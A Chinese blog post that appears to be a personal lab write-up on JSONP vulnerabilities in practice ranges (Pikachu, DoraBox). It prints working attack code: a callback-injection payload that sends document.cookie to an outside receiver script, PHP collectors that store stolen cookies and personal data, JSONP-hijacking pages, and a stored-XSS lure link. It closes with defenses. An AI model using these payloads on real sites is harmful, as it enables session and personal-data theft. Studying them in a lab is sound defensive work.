JSONP漏洞

JSONP访问漏洞

前期准备

centos虚拟机、windows、Mobaxterm

centos安装了xampp,windwos安装了phpstudy

一、漏洞一:利用回调getcookie

使用1

虚拟机中list_json.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

//连接数据库
$conn=new mysqli('127.0.0.1','root','1234','pikachu') or die("数据库连接失败");
$conn->set_charset('urf8');
$sql="select id,username,password,level from users";
$result=$conn->query($sql);

//输出json数据到页面
$json =json_encode($result->fetch_all(MYSQLI_ASSOC));
//echo $json;
echo $_GET['callback']."(".$json.")";
$conn->close();
?>

由于php文件对于回调参数没有进行校验

主机可构造list_json.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>

<script>
function test(args){
//alert(args);
alert(JSON.stringify(args));
}
</script>
<script src="http://192.168.1.89/list_json.php?callback=alert(1);//"></script>

<title>网页查看json数据</title>
<body>
....
</body>
</html>

相当于开发的前后端分离了

将值传给服务器端(虚拟机),服务器端将值进行拼接,构造出了一个调用本地js预先定义好的函数,以及传递给对应的实参

alert(1);//的效果,为:

alert(1);//json,json确实是传递了,但是被注释掉了

alert('hello');//也是可以的,弹出内容为hello字符串

小结1

从渗透方面讲,emmmm

嘶,上面这个不太好从渗透方面讲,

更像是前端(主机)和后端(虚拟机)的关系

噢,不是这样滴

虚拟机是受害者,主机是攻击者

主机利用了虚拟机的后端文件漏洞,证明了Xss的存在

使用2

但是

以上证明了一个xss漏洞的存在,这种反射型xss,怎么达到攻击目的呢?

虚拟机添加一个xssrecv.php,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$ipaddr=$_SERVER['REMOTE_ADDR'];
$url=$_GET['url'];
$cookie=$_GET['cookie'];

$conn=new mysqli('127.0.0.1','root','1234','pikachu') or die("数据库连接不成功");
$conn->set_charset("utf8");
$sql="insert into xssdata(ipaddr,url,cookie) values('$ipaddr','$url','$cookie')";
$conn->query($sql);

//跳转链接
echo "<script>location.href='https://www.baidu.com'</script>";

?>

list_json.html内容改造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>

<script>
function test(args){
//alert(args);
alert(JSON.stringify(args));
}
</script>
<script src="http://192.168.1.89/list_json.php?callback=location.href='http://192.168.1.89/xssrecv.php?cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//"></script>

<title>网页查看json数据</title>
<body>
....
</body>
</html>

主机上访问

localhost:81/7/list_json.html

url变化为:

http://192.168.1.89/xssrecv.php?

cookie=&url=http://localhost:81/7/list_json.html

刷新一下,就跳转到百度了

发现url参数cookie为空啊

本来没有cookie,我在f12控制台赋值了一个document,这样数据库应该有了

所以访问

localhost:81/7/list_json.html之后,url跳转为:

1
http://192.168.1.89/xssrecv.php?cookie=data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK&url=http://localhost:81/7/list_json.html

再刷新一下,正常跳转到baidu.com

虚拟机中数据库内容:

小结2

好,最终的结果是虚拟机的数据库里获得了主机的ip地址,还有cookie

那么可以认为虚拟机是攻击方,主机是受害者

虚拟机建立了数据库,用于接收从主机哪里传来的值

而主机方是主动访问了这个网址

localhost:81/7/list_json.html

这个主动,有很多意思,上面这个链接可以是主机不知情的点击触发的,或者是其它方式,但一定比上面这种直接访问隐含地多,这样就清楚很多了。

防御

就是函数名没做过滤

这个url太长了是吧,就不太正常,所以php校验时可以限制长度

给php中添加:

1
2
3
4
5
6
7
8
9
10
11
...
//长度限定
if(strlen($_GET['callback'])>10){
die("too_long");
}
...
//白名单啊,callback参数值只能是限定的值
$white_list=['test','handle','haha'];
if ! in_array($_GET['callback'],$white_list){
die("wrong_value");
}

关键词校验啊,location.href

单引号转义啊

总结

从渗透角度看哈,

受害者访问了一个网址,攻击者知道这个网址,及其传送的参数

二、漏洞二:利用CSRF获取数据

主机作为攻击机,centos作为受害者

我自己都要绕晕了

使用

DoraBox靶场http://t.csdn.cn/QCY20

jsonp劫持代码,审计一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14

<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', 'sex' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>[

htmlspecialchars转义了callback的内容,那这就杜绝了xss获取cookie的漏洞

在主机上:

构造jsonpuse.tml如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>

<script>
function test(args){
location.href="http://localhost:81/7/jsonprecv.php?value="+JSON.stringify(args)+
"&referer="+docunment.referer;
}
</script>
</script>
<script src="http://192.168.1.89/DoraBox-master/csrf/jsonp.php?callback=test"></script>
<!-- <script src="http://192.168.1.89/list_json.php?callback=alert(document.cookie);//"></script> -->
<body>
Yuleiyun
</body>

</html>

好,定义的jsonrecv.php页面如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$ipaddr=$_SERVER['REMOTE_ADDR'];
$url=$_GET['referer'];
$value=$_GET['value'];

$conn=new mysqli('127.0.0.1','root','root','pikachu') or die("数据库连接不成功");
$conn->set_charset("utf8");
$sql="insert into xssdata(ipaddr,url,cookie) values('$ipaddr','$url','$value')";
$conn->query($sql);

//跳转链接
echo "<script>location.href='https://www.baidu.com'</script>";

?>

好,主机浏览器访问一下

localhost:81/7/jsonpuse.html

最终是跳转到baidu页面上

每次需要手动刷新一下嘞,不然超时,跳不到baidu上

f12控制台

1
Cross-Origin Read Blocking (CORB) 已屏蔽 MIME 类型为 application/json 的跨域响应 https://hpd.baidu.com/v.gif?ct=2&logFrom=feed_index&logInfo=tts_show&qid=0x85a6c6bf000e1813&sid=39314_39283_39340_39396_39407_39097_39411_39359_39307_39303_39377_39233_26350_22160_39422&ssid=public.1.5ae0317e.SeB1LbiHud60Zr8JjF8B6w&logid=2148407315&_r=0.20329129099560483&tid=11545&logExtra=%7B%22type%22%3A%22tts_button_show%22%2C%22res%22%3A%22news%22%7D&r=l1695703237467&isLogin=1。如需了解详情,请参阅 https://www.chromestatus.com/feature/5629709824032768。

哦,可以理解,没有遵守同源策略(不是同协议)

看数据库,存到了json值

那个ipaddr字段,之所以那样显示呢,因为主机上定义的localhost,如果是具体的ip,数据库就会正常记录的

防御

token机制+校验机制

总结

总结一下哈,在渗透方面,其实是这样的

1.受害者在自己的浏览器上访问第三方网址并登录

受害者访问了下面这个链接:

http://192.168.1.89/DoraBox-master/

这样我们就认为它是登录了,这个靶场没这个功能哈,既然能访问这个链接,有显示东西,就默认用户成功登录了

2.攻击者构造一个jsonprecv.php文件

构造这个干什么?

GET一些值

插入进本机的数据库中

再设置个跳转链接

等着受害者触发嘞,就可以存储受害者的一些信息

3.受害者触发jsonpuse.html

这个内容干什么?

攻击者已知下面这个网址

http://192.168.1.89/DoraBox-master/csrf/jsonp.php?callback=test

我们已知这个参数的效果是,调用了test方法,然后输出一些值在前端上

那么,攻击者构造一个html,重新自定义这个test方法:

方法内容,是访问攻击者的php文件,且将攻击者设定好的参数和值都带上去了,攻击者的数据库就获取到了受害者的信息

4.开玩笑,受害者凭什么触发这个jsonpuse.html文件

也许是xss漏洞的缘故,比如去哪嵌入了一个点击按钮,受害者出于好奇点击这个了,这不巧了吗这不?

当然了,还有受害者在登录了的同时,攻击者留言发他这样一个网址(短连接伪造),说是有好康的,那受害者主动访问了这个链接也说不定

这也是门学问啊

总之,是让受害者主动触发,访问攻击者服务器,是这样一个目的。

这样吧,来个xss存储触发csrf,更清楚一点

主机访问

http://192.168.1.89/DoraBox-master/xss/stored_xss.php

这样理解,主机也是一个登录用户,在存储型xss下,输入

1
<a href="http://攻击机ip:81/7/jsonpuse.html">点我</a>

然后虚拟机用户,也访问了这个存储性xss页面,并点击

受害者视角:点了之后进百度

咦,但是攻击者的数据库里为空嘞

分析一波:

受害者点击了跳转链接,访问攻击者服务器中的html文件,进而又访问攻击者服务器的php文件,按理说能够写进去的嘞

哦,应该是php文件连接mysql的话,用的ip地址有问题,是127.0.0.1,那改一下

哦,不对,本机是可以访问127.0.0.1的

emmm可以跳转那说明没问题噻,不知道

待解决

我在本机访问

本机:81/7/jsonpuse.html

1
jsonprecv.php?value={"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"%26%2320013%3B%26%2321326%3B%26%2320154%3B%26%2327665%3B%26%2320849%3B%26%2321644%3B%26%2322269%3B","sex":"Cool%20Man"}&referer=undefined

这个可以写进数据库

虚拟机访问时,

1
http://192.168.1.142:81/7/jsonprecv.php?value={%22username%22:%22Vulkey_Chen%22,%22mobilephone%22:%2213188888888%22,%22email%22:%22admin@gh0st.cn%22,%22address%22:%22%D6%D0%BB%AA%C8%CB%C3%F1%B9%B2%BA%CD%B9%FA%22,%22sex%22:%22Cool%20Man%22}&referer=undefined

这个是写不进数据库的

我在本机里运行这行url,也写不进去

好,我在虚拟机里访问

1
jsonprecv.php?value={"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"%26%2320013%3B%26%2321326%3B%26%2320154%3B%26%2327665%3B%26%2320849%3B%26%2321644%3B%26%2322269%3B","sex":"Cool%20Man"}&referer=undefined

数据库是写的进去的

好,问题就出在了这里,虚拟机里的 火狐,浏览器似乎没有像 谷歌 自动解析的

噢,在虚拟机里的那个value值,在chrom里出现 无法解码值

1
2
3
{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"&#20013;&#21326;&#20154;&#27665;&#20849;&#21644;&#22269;","sex":"Cool Man"},这个是有效的

{"username":"Vulkey_Chen","mobilephone":"13188888888","email":"admin@gh0st.cn","address":"%D6%D0%BB%AA%C8%CB%C3%F1%B9%B2%BA%CD%B9%FA","sex":"Cool%20Man"} 这个无效

啧,看来后端要好好处理下json格式,不弄

三、JSONP攻击防御

对调用方法进行校验

  1. 前后端约定jsonp请求的js回调函数名,不能自定义回调名称
  2. 限制Referer,部署一次性Token或其他Token验证 (防御csrf)
  3. 严格按照JSON格式标准输出,且进行编码;避免被XSS利用
  4. 过滤callback函数名及JSON里数据的输出、长度和内容
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信